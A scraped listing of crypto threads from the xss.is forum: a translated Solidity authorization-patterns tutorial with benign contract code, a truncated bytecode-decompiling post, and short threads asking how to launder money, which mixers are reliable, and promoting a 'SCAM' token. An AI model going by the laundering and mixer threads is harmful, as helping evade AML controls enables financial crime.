The live DONALD TRUMP price today is $0.00005462 USD with a 24-hour trading volume of $347.85 USD. We update our DONALD to USD price in real-time.

![coinmarketcap.com](/proxy.php?image=https%3A%2F%2Fcoinmarketcap.com%2Fapple- touch-icon.png&hash=8b5b4245266e533da47fb42ff9b2142b&return_error=1) coinmarketcap.com

what do you think ?

question
ID: 67686ad7b4103b69df3799a2
Thread ID: 61381
Created: 2022-01-14T08:37:00+0000
Last Post: 2022-01-23T21:05:19+0000
Author: AMRED
Replies: 7 Views: 922

what is the safest way to exchange crypto (how to make it safe) and what wallet you guys use?

"Разрабатываем" шаблонное мышление, или стереотипы программирования Solidity
ID: 67686ad7b4103b69df379907
Thread ID: 73089
Created: 2022-09-13T02:45:57+0000
Last Post: 2022-09-13T02:45:57+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 921

[ОРИГИНАЛЬНАЯ СТАТЬЯ](https://hackernoon.com/solidity-tutorial-understanding- design-patterns-part-1)
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ XSS.IS плюс немного отсебятины для нашего развития
$10 на gas для Jolah Molivski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09

Децентрализованный мир растет в геометрической прогрессии с точки зрения принятия пользователями. Компании ежегодно создают сотни инновационных приложений dApp на Ethereum для удовлетворения различных требований рынка. В основе этих dApps лежат смарт-контракты, совместимые с EVM, в основном написанные на Solidity. Хотя изучение синтаксиса и мотодов разработки на solidity несложно, но для создания масштабируемого, удобного и безопасного контракта необходимо понимать правильные шаблоны проектирования.

Зачем заботиться о шаблонах проектирования?​

Понимать — значит воспринимать закономерности
- Исайя Берлин

Click to expand...

Одно из основных различий между программистом-новичком и профессиональным разработчиком заключается в понимании соответствующих шаблонов проектирования. Эти шаблоны являются проверенными решениями для распространенных проблем и могут стать вашим самым мощным инструментом.
По сравнению с другими направлениями разработки программного обеспечения, разработка надежных смарт-контрактов является сложной задачей. Распределенный конечный автомат запускает вашу развернутую программу 24/7, предоставляя доступ ко всему миру, это палка о двух концах. Чтобы убедиться, что ваша бизнес-логика работает безопасным, надежным и детерминированным образом, необходимо следовать лучшим практикам проектирования.
На платформе, где самая маленькая ошибка может стоить вам миллионы долларов, вы бы рискнули?

Снимок экрана_2022-09-12_22-24-26.translated.jpg

Шаблоны авторизации Solidity​

Хотя смарт-контракты легко доступны по сети любому, это может не быть желаемой целью программы. Могут существовать определенные функции, которые должны использоваться только определенными группами пользователей.
Неспособность правильно справиться с этим может привести к непредсказуемым вариантам использования.
Некоторые цели, которые могут быть достигнуты шаблонами авторизации:

  1. Разрешить выполнение функции поставторизации группой пользователей
  2. Разрешить выполнение транзакции после аутентификации вызывающего абонента.
  3. Ограничить возможности контракта создателем

Я определил 4 типа шаблонов авторизации.

1. Ограничение доступа

Концепция:

Перед выполнением логики функции вызывающая сторона должна выполнить определенные условия. Эти условия могут быть связаны с личностью вызывающего абонента, входными параметрами, состоянием контракта и т. д. Функция запускается после выполнения всех требований. Если требования не выполняются, EVM обрабатывает ошибку, возвращая состояние, не внося изменений в вызов функции. Если подобное ограничение необходимо для нескольких функций, можно использовать защитную проверку с модификаторами. Кроме того, если вы не хотите, чтобы переменные и функции были доступны публично, защитите данные их состоянии, выбрав частную видимость.

Пример кода:

Code:Copy to clipboard

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
 
 
/**
* @title An incremental time-bound donation receiver
    */
contract AccessRestriction {
/**
* @dev public variables in global, visible to everyone
    */
address public treasury = msg.sender;
uint256 public creationTime = block.timestamp;
uint256 public minimumDonation;
/**
* @dev private visibility of winner address
    */
address private winner;
 
/**********Modifier Blocks********/
/**
* @dev check if donation period has started
    */
   modifier onlyBefore(uint256 _time) {
require(block.timestamp < _time);
       _;
   }
 
/**
* @dev check if donation period has ended
    */
   modifier onlyAfter(uint256 _time) {
require(block.timestamp > _time);
       _;
   }
 
   modifier isHigherDonation() {
require(msg.value > minimumDonation, "Please send higher amount");
       winner = msg.sender;
       minimumDonation = msg.value;
       _;
   }
 
function sendDonation()
external
payable
onlyBefore(creationTime + 1 weeks)
isHigherDonation
   {
       payable(treasury).transfer(msg.value);
   }
 
function revealHighestDonor()
external
view
onlyAfter(creationTime + 1 weeks)
returns (address)
   {
return winner;
   }
}

2. Мульти авторизация

Концепция:

Бывают ситуации, когда транзакция или вызов функции могут потребовать подтверждения нескольких пользователей. Таким образом, если пул авторизаторов имеет размер X и нам требуется подмножество Y, нет авторизаций (где X≥Y) для выполнения транзакции. Это полезный подход, когда задействованы платежные транзакции на основе мультиподписи. Проблема в этом подходе заключается в том, что члены в группе авторизации должны быть определены заранее, а минимальное количество авторизаторов должно быть доступно во время выполнения для подписи. Также в случае компрометации/утери ключа учетная запись авторизатора становится бесполезной.

1663036509694.png

Spoiler: Относительно безопасная реализация авторизации

Code:Copy to clipboard

// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;

import "./base/ModuleManager.sol";
import "./base/OwnerManager.sol";
import "./base/FallbackManager.sol";
import "./base/GuardManager.sol";
import "./common/EtherPaymentFallback.sol";
import "./common/Singleton.sol";
import "./common/SignatureDecoder.sol";
import "./common/SecuredTokenTransfer.sol";
import "./common/StorageAccessible.sol";
import "./interfaces/ISignatureValidator.sol";
import "./external/GnosisSafeMath.sol";

/// @title Gnosis Safe - A multisignature wallet with support for confirmations using signed messages based on ERC191.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafe is
    EtherPaymentFallback,
    Singleton,
    ModuleManager,
    OwnerManager,
    SignatureDecoder,
    SecuredTokenTransfer,
    ISignatureValidatorConstants,
    FallbackManager,
    StorageAccessible,
    GuardManager
{
    using GnosisSafeMath for uint256;

    string public constant VERSION = "1.3.0";

    // keccak256(
    //     "EIP712Domain(uint256 chainId,address verifyingContract)"
    // );
    bytes32 private constant DOMAIN_SEPARATOR_TYPEHASH = 0x47e79534a245952e8b16893a336b85a3d9ea9fa8c573f3d803afb92a79469218;

    // keccak256(
    //     "SafeTx(address to,uint256 value,bytes data,uint8 operation,uint256 safeTxGas,uint256 baseGas,uint256 gasPrice,address gasToken,address refundReceiver,uint256 nonce)"
    // );
    bytes32 private constant SAFE_TX_TYPEHASH = 0xbb8310d486368db6bd6f849402fdd73ad53d316b5a4b2644ad6efe0f941286d8;

    event SafeSetup(address indexed initiator, address[] owners, uint256 threshold, address initializer, address fallbackHandler);
    event ApproveHash(bytes32 indexed approvedHash, address indexed owner);
    event SignMsg(bytes32 indexed msgHash);
    event ExecutionFailure(bytes32 txHash, uint256 payment);
    event ExecutionSuccess(bytes32 txHash, uint256 payment);

    uint256 public nonce;
    bytes32 private _deprecatedDomainSeparator;
    // Mapping to keep track of all message hashes that have been approved by ALL REQUIRED owners
    mapping(bytes32 => uint256) public signedMessages;
    // Mapping to keep track of all hashes (message or transaction) that have been approved by ANY owners
    mapping(address => mapping(bytes32 => uint256)) public approvedHashes;

    // This constructor ensures that this contract can only be used as a master copy for Proxy contracts
    constructor() {
        // By setting the threshold it is not possible to call setup anymore,
        // so we create a Safe with 0 owners and threshold 1.
        // This is an unusable Safe, perfect for the singleton
        threshold = 1;
    }

    /// @dev Setup function sets initial storage of contract.
    /// @param _owners List of Safe owners.
    /// @param _threshold Number of required confirmations for a Safe transaction.
    /// @param to Contract address for optional delegate call.
    /// @param data Data payload for optional delegate call.
    /// @param fallbackHandler Handler for fallback calls to this contract
    /// @param paymentToken Token that should be used for the payment (0 is ETH)
    /// @param payment Value that should be paid
    /// @param paymentReceiver Address that should receive the payment (or 0 if tx.origin)
    function setup(
        address[] calldata _owners,
        uint256 _threshold,
        address to,
        bytes calldata data,
        address fallbackHandler,
        address paymentToken,
        uint256 payment,
        address payable paymentReceiver
    ) external {
        // setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
        setupOwners(_owners, _threshold);
        if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
        // As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
        setupModules(to, data);

        if (payment > 0) {
            // To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
            // baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
            handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
        }
        emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
    }

    /// @dev Allows to execute a Safe transaction confirmed by required number of owners and then pays the account that submitted the transaction.
    ///      Note: The fees are always transferred, even if the user transaction fails.
    /// @param to Destination address of Safe transaction.
    /// @param value Ether value of Safe transaction.
    /// @param data Data payload of Safe transaction.
    /// @param operation Operation type of Safe transaction.
    /// @param safeTxGas Gas that should be used for the Safe transaction.
    /// @param baseGas Gas costs that are independent of the transaction execution(e.g. base transaction fee, signature check, payment of the refund)
    /// @param gasPrice Gas price that should be used for the payment calculation.
    /// @param gasToken Token address (or 0 if ETH) that is used for the payment.
    /// @param refundReceiver Address of receiver of gas payment (or 0 if tx.origin).
    /// @param signatures Packed signature data ({bytes32 r}{bytes32 s}{uint8 v})
    function execTransaction(
        address to,
        uint256 value,
        bytes calldata data,
        Enum.Operation operation,
        uint256 safeTxGas,
        uint256 baseGas,
        uint256 gasPrice,
        address gasToken,
        address payable refundReceiver,
        bytes memory signatures
    ) public payable virtual returns (bool success) {
        bytes32 txHash;
        // Use scope here to limit variable lifetime and prevent `stack too deep` errors
        {
            bytes memory txHashData =
                encodeTransactionData(
                    // Transaction info
                    to,
                    value,
                    data,
                    operation,
                    safeTxGas,
                    // Payment info
                    baseGas,
                    gasPrice,
                    gasToken,
                    refundReceiver,
                    // Signature info
                    nonce
                );
            // Increase nonce and execute transaction.
            nonce++;
            txHash = keccak256(txHashData);
            checkSignatures(txHash, txHashData, signatures);
        }
        address guard = getGuard();
        {
            if (guard != address(0)) {
                Guard(guard).checkTransaction(
                    // Transaction info
                    to,
                    value,
                    data,
                    operation,
                    safeTxGas,
                    // Payment info
                    baseGas,
                    gasPrice,
                    gasToken,
                    refundReceiver,
                    // Signature info
                    signatures,
                    msg.sender
                );
            }
        }
        // We require some gas to emit the events (at least 2500) after the execution and some to perform code until the execution (500)
        // We also include the 1/64 in the check that is not send along with a call to counteract potential shortings because of EIP-150
        require(gasleft() >= ((safeTxGas * 64) / 63).max(safeTxGas + 2500) + 500, "GS010");
        // Use scope here to limit variable lifetime and prevent `stack too deep` errors
        {
            uint256 gasUsed = gasleft();
            // If the gasPrice is 0 we assume that nearly all available gas can be used (it is always more than safeTxGas)
            // We only substract 2500 (compared to the 3000 before) to ensure that the amount passed is still higher than safeTxGas
            success = execute(to, value, data, operation, gasPrice == 0 ? (gasleft() - 2500) : safeTxGas);
            gasUsed = gasUsed.sub(gasleft());
            // If no safeTxGas and no gasPrice was set (e.g. both are 0), then the internal tx is required to be successful
            // This makes it possible to use `estimateGas` without issues, as it searches for the minimum gas where the tx doesn't revert
            require(success || safeTxGas != 0 || gasPrice != 0, "GS013");
            // We transfer the calculated tx costs to the tx.origin to avoid sending it to intermediate contracts that have made calls
            uint256 payment = 0;
            if (gasPrice > 0) {
                payment = handlePayment(gasUsed, baseGas, gasPrice, gasToken, refundReceiver);
            }
            if (success) emit ExecutionSuccess(txHash, payment);
            else emit ExecutionFailure(txHash, payment);
        }
        {
            if (guard != address(0)) {
                Guard(guard).checkAfterExecution(txHash, success);
            }
        }
    }

    function handlePayment(
        uint256 gasUsed,
        uint256 baseGas,
        uint256 gasPrice,
        address gasToken,
        address payable refundReceiver
    ) private returns (uint256 payment) {
        // solhint-disable-next-line avoid-tx-origin
        address payable receiver = refundReceiver == address(0) ? payable(tx.origin) : refundReceiver;
        if (gasToken == address(0)) {
            // For ETH we will only adjust the gas price to not be higher than the actual used gas price
            payment = gasUsed.add(baseGas).mul(gasPrice < tx.gasprice ? gasPrice : tx.gasprice);
            require(receiver.send(payment), "GS011");
        } else {
            payment = gasUsed.add(baseGas).mul(gasPrice);
            require(transferToken(gasToken, receiver, payment), "GS012");
        }
    }

    /**
     * @dev Checks whether the signature provided is valid for the provided data, hash. Will revert otherwise.
     * @param dataHash Hash of the data (could be either a message hash or transaction hash)
     * @param data That should be signed (this is passed to an external validator contract)
     * @param signatures Signature data that should be verified. Can be ECDSA signature, contract signature (EIP-1271) or approved hash.
     */
    function checkSignatures(
        bytes32 dataHash,
        bytes memory data,
        bytes memory signatures
    ) public view {
        // Load threshold to avoid multiple storage loads
        uint256 _threshold = threshold;
        // Check that a threshold is set
        require(_threshold > 0, "GS001");
        checkNSignatures(dataHash, data, signatures, _threshold);
    }

    /**
     * @dev Checks whether the signature provided is valid for the provided data, hash. Will revert otherwise.
     * @param dataHash Hash of the data (could be either a message hash or transaction hash)
     * @param data That should be signed (this is passed to an external validator contract)
     * @param signatures Signature data that should be verified. Can be ECDSA signature, contract signature (EIP-1271) or approved hash.
     * @param requiredSignatures Amount of required valid signatures.
     */
    function checkNSignatures(
        bytes32 dataHash,
        bytes memory data,
        bytes memory signatures,
        uint256 requiredSignatures
    ) public view {
        // Check that the provided signature data is not too short
        require(signatures.length >= requiredSignatures.mul(65), "GS020");
        // There cannot be an owner with address 0.
        address lastOwner = address(0);
        address currentOwner;
        uint8 v;
        bytes32 r;
        bytes32 s;
        uint256 i;
        for (i = 0; i < requiredSignatures; i++) {
            (v, r, s) = signatureSplit(signatures, i);
            if (v == 0) {
                // If v is 0 then it is a contract signature
                // When handling contract signatures the address of the contract is encoded into r
                currentOwner = address(uint160(uint256(r)));

                // Check that signature data pointer (s) is not pointing inside the static part of the signatures bytes
                // This check is not completely accurate, since it is possible that more signatures than the threshold are send.
                // Here we only check that the pointer is not pointing inside the part that is being processed
                require(uint256(s) >= requiredSignatures.mul(65), "GS021");

                // Check that signature data pointer (s) is in bounds (points to the length of data -> 32 bytes)
                require(uint256(s).add(32) <= signatures.length, "GS022");

                // Check if the contract signature is in bounds: start of data is s + 32 and end is start + signature length
                uint256 contractSignatureLen;
                // solhint-disable-next-line no-inline-assembly
                assembly {
                    contractSignatureLen := mload(add(add(signatures, s), 0x20))
                }
                require(uint256(s).add(32).add(contractSignatureLen) <= signatures.length, "GS023");

                // Check signature
                bytes memory contractSignature;
                // solhint-disable-next-line no-inline-assembly
                assembly {
                    // The signature data for contract signatures is appended to the concatenated signatures and the offset is stored in s
                    contractSignature := add(add(signatures, s), 0x20)
                }
                require(ISignatureValidator(currentOwner).isValidSignature(data, contractSignature) == EIP1271_MAGIC_VALUE, "GS024");
            } else if (v == 1) {
                // If v is 1 then it is an approved hash
                // When handling approved hashes the address of the approver is encoded into r
                currentOwner = address(uint160(uint256(r)));
                // Hashes are automatically approved by the sender of the message or when they have been pre-approved via a separate transaction
                require(msg.sender == currentOwner || approvedHashes[currentOwner][dataHash] != 0, "GS025");
            } else if (v > 30) {
                // If v > 30 then default va (27,28) has been adjusted for eth_sign flow
                // To support eth_sign and similar we adjust v and hash the messageHash with the Ethereum message prefix before applying ecrecover
                currentOwner = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash)), v - 4, r, s);
            } else {
                // Default is the ecrecover flow with the provided data hash
                // Use ecrecover with the messageHash for EOA signatures
                currentOwner = ecrecover(dataHash, v, r, s);
            }
            require(currentOwner > lastOwner && owners[currentOwner] != address(0) && currentOwner != SENTINEL_OWNERS, "GS026");
            lastOwner = currentOwner;
        }
    }

    /// @dev Allows to estimate a Safe transaction.
    ///      This method is only meant for estimation purpose, therefore the call will always revert and encode the result in the revert data.
    ///      Since the `estimateGas` function includes refunds, call this method to get an estimated of the costs that are deducted from the safe with `execTransaction`
    /// @param to Destination address of Safe transaction.
    /// @param value Ether value of Safe transaction.
    /// @param data Data payload of Safe transaction.
    /// @param operation Operation type of Safe transaction.
    /// @return Estimate without refunds and overhead fees (base transaction and payload data gas costs).
    /// @notice Deprecated in favor of common/StorageAccessible.sol and will be removed in next version.
    function requiredTxGas(
        address to,
        uint256 value,
        bytes calldata data,
        Enum.Operation operation
    ) external returns (uint256) {
        uint256 startGas = gasleft();
        // We don't provide an error message here, as we use it to return the estimate
        require(execute(to, value, data, operation, gasleft()));
        uint256 requiredGas = startGas - gasleft();
        // Convert response to string and return via error message
        revert(string(abi.encodePacked(requiredGas)));
    }

    /**
     * @dev Marks a hash as approved. This can be used to validate a hash that is used by a signature.
     * @param hashToApprove The hash that should be marked as approved for signatures that are verified by this contract.
     */
    function approveHash(bytes32 hashToApprove) external {
        require(owners[msg.sender] != address(0), "GS030");
        approvedHashes[msg.sender][hashToApprove] = 1;
        emit ApproveHash(hashToApprove, msg.sender);
    }

    /// @dev Returns the chain id used by this contract.
    function getChainId() public view returns (uint256) {
        uint256 id;
        // solhint-disable-next-line no-inline-assembly
        assembly {
            id := chainid()
        }
        return id;
    }

    function domainSeparator() public view returns (bytes32) {
        return keccak256(abi.encode(DOMAIN_SEPARATOR_TYPEHASH, getChainId(), this));
    }

    /// @dev Returns the bytes that are hashed to be signed by owners.
    /// @param to Destination address.
    /// @param value Ether value.
    /// @param data Data payload.
    /// @param operation Operation type.
    /// @param safeTxGas Gas that should be used for the safe transaction.
    /// @param baseGas Gas costs for that are independent of the transaction execution(e.g. base transaction fee, signature check, payment of the refund)
    /// @param gasPrice Maximum gas price that should be used for this transaction.
    /// @param gasToken Token address (or 0 if ETH) that is used for the payment.
    /// @param refundReceiver Address of receiver of gas payment (or 0 if tx.origin).
    /// @param _nonce Transaction nonce.
    /// @return Transaction hash bytes.
    function encodeTransactionData(
        address to,
        uint256 value,
        bytes calldata data,
        Enum.Operation operation,
        uint256 safeTxGas,
        uint256 baseGas,
        uint256 gasPrice,
        address gasToken,
        address refundReceiver,
        uint256 _nonce
    ) public view returns (bytes memory) {
        bytes32 safeTxHash =
            keccak256(
                abi.encode(
                    SAFE_TX_TYPEHASH,
                    to,
                    value,
                    keccak256(data),
                    operation,
                    safeTxGas,
                    baseGas,
                    gasPrice,
                    gasToken,
                    refundReceiver,
                    _nonce
                )
            );
        return abi.encodePacked(bytes1(0x19), bytes1(0x01), domainSeparator(), safeTxHash);
    }

    /// @dev Returns hash to be signed by owners.
    /// @param to Destination address.
    /// @param value Ether value.
    /// @param data Data payload.
    /// @param operation Operation type.
    /// @param safeTxGas Fas that should be used for the safe transaction.
    /// @param baseGas Gas costs for data used to trigger the safe transaction.
    /// @param gasPrice Maximum gas price that should be used for this transaction.
    /// @param gasToken Token address (or 0 if ETH) that is used for the payment.
    /// @param refundReceiver Address of receiver of gas payment (or 0 if tx.origin).
    /// @param _nonce Transaction nonce.
    /// @return Transaction hash.
    function getTransactionHash(
        address to,
        uint256 value,
        bytes calldata data,
        Enum.Operation operation,
        uint256 safeTxGas,
        uint256 baseGas,
        uint256 gasPrice,
        address gasToken,
        address refundReceiver,
        uint256 _nonce
    ) public view returns (bytes32) {
        return keccak256(encodeTransactionData(to, value, data, operation, safeTxGas, baseGas, gasPrice, gasToken, refundReceiver, _nonce));
    }
}

[Взята отсюда](https://github.com/safe-global/safe- contracts/blob/main/contracts/GnosisSafe.sol?ref=hackernoon.com)

3. Владение и управление доступом на основе ролей

Концепция:

Развернутый контракт может иметь выделенную работу и доступ на основе ролей, как и в любой традиционной системе. Распределение ролей и администрирование могут быть выполнены путем применения правил управления доступом на основе прав собственности и ролей. Доступ на основе ролей может помочь разработать модификаторы для конкретных функций, которые разрешают доступ только выделенной группе.

Стандартная реализация этого паттерна доступна в [библиотеке ](https://github.com/OpenZeppelin/openzeppelin- contracts/tree/master/contracts/access?ref=hackernoon.com).

4. Динамическая авторизация с использованием секрета вне сети

Концепция:

В отличие от предварительно авторизованных групп и членов на основе ролей, могут быть ситуации, когда сторона авторизации неизвестна для данной ситуации. Динамическая привязка адреса не выполняется по умолчанию, их необходимо авторизовать при первом развертывании транзакции/контракта, поскольку обычно списки контроля доступа предопределены.
В такой ситуации мы можем сгенерировать секрет вне сети со стороны клиента для выделенной функции. Этот секрет будет хеширован (SHA-256) и зарегистрирован в контракте. Будет выполнена рабочая привязка к секрету, так что любой пользователь, который отправит транзакцию вместе с секретом в качестве параметра, будет авторизован. Эти секреты могут использоваться совместно со стандартным протоколом обмена ключами с предполагаемыми адресами.
[Хэшлоки ](https://www.investopedia.com/terms/h/hashed-timelock- contract.asp?ref=hackernoon.com)полезны для каналов состояния платежей, условного депонирования атомарных свопов. Кроме того, секреты лучше всего подходят для одной транзакции, так как проверка в цепочке раскроет их.
Это простая секретная регистрация, которую можно использовать вместе с любыми хэшлоками. Секрет передается в контракт для раскрытия и ссылки. Для событий временной блокировки можно сравнить блок раскрытия и блок истечения срока действия.

Code:Copy to clipboard

// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
 
 
contract SecretRegistry {
   mapping(bytes32 => uint256) private secretToBlock;
 
 
   event SecretRevealed(bytes32 indexed secrethash, bytes32 secret);
 
   /**
    * @dev Register the secret that's been used for validation
    */
   function registerSecret(bytes32 secret) public returns (bool) {
       bytes32 secrethash = sha256(abi.encodePacked(secret));
       if (secretToBlock[secrethash] > 0) {
           return false;
       }
       secretToBlock[secrethash] = block.number;
       emit SecretRevealed(secrethash, secret);
       return true;
   }
 
 
   function getRevealedSecretBlockHeight(bytes32 secrethash) public view returns (uint256) {
       return secretToBlock[secrethash];
   }
 
}

Авторизация в сети с помощью ролей и управления собственностью стала необходимостью для управления активами на основе контрактов. Кроме того, будьте предельно осторожны с секретами вне сети и тем, как вы ими делитесь. Попробуйте использовать один из этих шаблонов в своем следующем децентрализованном приложении

Как отмыть деньги?
ID: 67686ad7b4103b69df37993c
Thread ID: 70242
Created: 2022-07-17T17:01:23+0000
Last Post: 2022-07-19T13:54:04+0000
Author: who_am_I
Replies: 34 Views: 920

Как отмыть деньги?

Я сделал токен SCAM на тоне
ID: 67686ad7b4103b69df379720
Thread ID: 114792
Created: 2024-05-17T23:28:22+0000
Last Post: 2024-06-04T14:16:17+0000
Author: spirit00
Replies: 7 Views: 912

Че пацаны закупаем в экспериментальный портфель?)
Как вам в общем и целом идея?)

Для тех кто хочет поддержать SCAM, оставлю ниже инструкцию как можно закупить себе чуток скама)))

Чтобы купить токен SCAM

1. Переходим на сайт STON.fi в раздел swap https://app.ston.fi/swap
2. В верхней ячейке выбираем TON, а в нижнюю ячейку вставляем адрес токена (ниже)
EQAJDtzm_Me5LTk6ksmgoIZm_20FaY5udiZ-XDVeE2TUXZ7h
3. Подтверждаем добавление монеты и все, теперь вы можете обменять ваши TON на SCAM

[IMG]

Coinjoin в Wasabi
ID: 67686ad7b4103b69df3798b3
Thread ID: 70984
Created: 2022-08-01T19:02:07+0000
Last Post: 2023-01-29T20:22:02+0000
Author: top
Replies: 10 Views: 912

Кто-то пользуется кошельком Wasabi? вы проверяли, при использовании coinjoin в кошельке потом aml'ы kyc'ы помечают средства как mixer?

Криптомиксеры
ID: 67686ad7b4103b69df3796ed
Thread ID: 120500
Created: 2024-08-09T15:29:04+0000
Last Post: 2024-08-13T21:24:33+0000
Author: ShadowHawk
Replies: 7 Views: 911

Привет, форумчане! Хотел бы узнать, какие криптомиксеры вы используете и какие из них считаете наиболее надежными?

Смарт-контракты Ethereum на Solidity с начала и пока смерть не разлучит нас / #4 Декомпилирование смарт-контракта и почему Карла kill девочка-булочка
ID: 67686ad7b4103b69df37990a
Thread ID: 73004
Created: 2022-09-11T07:48:39+0000
Last Post: 2022-09-11T07:48:39+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 911

Написана специально для xss.is
Ситуация так сказать странная, товарисчи!
Пришел я по утру с n-километровойg пробежки, налил в тазик горячей водички с горчичкой и дай как думаю посмотрю на своего любимца Карла, чЁ он там делает? А его убили!!!

Снимок экрана от сегодня.png

Сильно не пугайтесь - Карл - это просто сканер уязвимостей блоков смарт- контрактов. Но то что его шлёпнули вызвало у меня кучу негодавания, да так что я аж в горячую воду чуть ноги по колено не засунул))
Что же делать - подумал я. А что еще остается как не найти kill'лера
Пойдя по адресу

0x0eC4927c461769ec25B66dbC706D34384166bcb9​

я нахожу там смартик без .sol кода.
вот этот вот:

Spoiler: Символов много вставлю под спойлер

Code:Copy to clipboard

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063b88d4fde11610071578063b88d4fde146102a4578063c87b56dd146102c0578063e985e9c5146102f0578063eacabe1414610320578063f2fde38b146103505761010b565b8063715018a6146102425780638da5cb5b1461024c57806395d89b411461026a578063a22cb465146102885761010b565b806323b872dd116100de57806323b872dd146101aa57806342842e0e146101c65780636352211e146101e257806370a08231146102125761010b565b806301ffc9a71461011057806306fdde0314610140578063081812fc1461015e578063095ea7b31461018e575b600080fd5b61012a60048036038101906101259190611aeb565b61036c565b6040516101379190611b33565b60405180910390f35b61014861044e565b6040516101559190611be7565b60405180910390f35b61017860048036038101906101739190611c3f565b6104e0565b6040516101859190611cad565b60405180910390f35b6101a860048036038101906101a39190611cf4565b610526565b005b6101c460048036038101906101bf9190611d34565b61063e565b005b6101e060048036038101906101db9190611d34565b61069e565b005b6101fc60048036038101906101f79190611c3f565b6106be565b6040516102099190611cad565b60405180910390f35b61022c60048036038101906102279190611d87565b610770565b6040516102399190611dc3565b60405180910390f35b61024a610828565b005b61025461083c565b6040516102619190611cad565b60405180910390f35b610272610866565b60405161027f9190611be7565b60405180910390f35b6102a2600480360381019061029d9190611e0a565b6108f8565b005b6102be60048036038101906102b99190611f7f565b61090e565b005b6102da60048036038101906102d59190611c3f565b610970565b6040516102e79190611be7565b60405180910390f35b61030a60048036038101906103059190612002565b610a83565b6040516103179190611b33565b60405180910390f35b61033a600480360381019061033591906120e3565b610b17565b6040516103479190611dc3565b60405180910390f35b61036a60048036038101906103659190611d87565b610b57565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061043757507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610447575061044682610bdb565b5b9050919050565b60606000805461045d9061216e565b80601f01602080910402602001604051908101604052809291908181526020018280546104899061216e565b80156104d65780601f106104ab576101008083540402835291602001916104d6565b820191906000526020600020905b8154815290600101906020018083116104b957829003601f168201915b5050505050905090565b60006104eb82610c45565b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610531826106be565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156105a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059990612212565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166105c1610c90565b73ffffffffffffffffffffffffffffffffffffffff1614806105f057506105ef816105ea610c90565b610a83565b5b61062f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610626906122a4565b60405180910390fd5b6106398383610c98565b505050565b61064f610649610c90565b82610d51565b61068e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068590612336565b60405180910390fd5b610699838383610de6565b505050565b6106b98383836040518060200160405280600081525061090e565b505050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610767576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075e906123a2565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d890612434565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61083061104d565b61083a60006110cb565b565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546108759061216e565b80601f01602080910402602001604051908101604052809291908181526020018280546108a19061216e565b80156108ee5780601f106108c3576101008083540402835291602001916108ee565b820191906000526020600020905b8154815290600101906020018083116108d157829003601f168201915b5050505050905090565b61090a610903610c90565b8383611191565b5050565b61091f610919610c90565b83610d51565b61095e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095590612336565b60405180910390fd5b61096a848484846112fe565b50505050565b606061097b82610c45565b600060066000848152602001908152602001600020805461099b9061216e565b80601f01602080910402602001604051908101604052809291908181526020018280546109c79061216e565b8015610a145780601f106109e957610100808354040283529160200191610a14565b820191906000526020600020905b8154815290600101906020018083116109f757829003601f168201915b505050505090506000610a2561135a565b9050600081511415610a3b578192505050610a7e565b600082511115610a70578082604051602001610a58929190612490565b60405160208183030381529060405292505050610a7e565b610a7984611371565b925050505b919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6000610b2161104d565b610b2b60086113d9565b6000610b3760086113ef565b9050610b4384826113fd565b610b4d81846115d7565b8091505092915050565b610b5f61104d565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc690612526565b60405180910390fd5b610bd8816110cb565b50565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b610c4e8161164b565b610c8d576040517f08c379a0000000000000000000000000000000000